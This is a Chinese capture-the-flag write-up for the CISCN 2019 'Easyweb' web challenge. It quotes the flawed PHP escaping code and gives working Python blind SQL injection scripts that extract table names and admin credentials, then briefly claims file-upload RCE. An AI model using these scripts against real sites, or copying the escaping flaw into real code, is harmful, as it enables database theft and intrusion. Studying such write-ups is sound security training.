[CISCN2019 总决赛 Day2 Web1]Easyweb

访问robots.txt,显示某个文件有备份

在这里插入图片描述

另外,通过抓包发现image.php后面跟了一个id参数,其中1,2,3有不同的图片回显,可能是sql注入

访问image.php.bak,拿到image.php的源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

自己试了半天,这里转义函数和替换连用有业务逻辑漏洞,比如我输入\0,按照它本来的设计应该是想把这个\0替换为空,但是\0会先被转义函数转义为\\0,这样再进行替换的时候就会剩下\,不知道怎么利用,看了下wp,才发现很巧妙,这里id被过滤完后剩下的转义符\,刚好可以转义原来的sql语句中id的后一个单引号

select * from images where id='{$id}' or path='{$path}'

id中剩下\,sql语句就变成:

select * from images where id='\' or path='{$path}'

有没有发现,id被实际查询的值是’ or path=

那么我们就可以利用可控的path进行注入

布尔盲注

1

在这里插入图片描述

0

在这里插入图片描述

根据这个写脚本

import requests

url='http://046040fc-05cb-4624-9511-df163af7b9d3.node4.buuoj.cn:81/image.php'
flag=''


for i in range(30):
    for j in range(127):
        payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),1,0)# ".format(i,j)
        
        params={
            'id':'\\0',
            'path':payload
             }
       
        res=requests.get(url,params=params).text
        if 'JFIF' in res:
              flag+=chr(j)
              print(flag)
print(flag)

这个脚本实在是太垃圾了,我就尝试写了一下二分法脚本,竟然搞出来了,我感到很开心

import requests
url='http://a272649d-5fc6-4807-bb6d-599b8254cfbe.node4.buuoj.cn:81/image.php'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        # payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)# ".format(i,mid)
        # payload=" or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{}),1,0)# ".format(i,mid)
        # payload=" or if((ascii(substr((select group_concat(username) from users),{},1))>{}),1,0)# ".format(i,mid)
        payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':'\\0',
            'path':payload
             }
        res=requests.get(url,params=params).text
        if 'JFIF' in res:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

最终查出来用户名和密码

admin
e8599892fc9e1ad8d538

我们登陆,有文件上传功能

在这里插入图片描述

随便上传个东西看看
在这里插入图片描述

它记录了上传的文件名,那好说

在这里插入图片描述

成功rce
在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值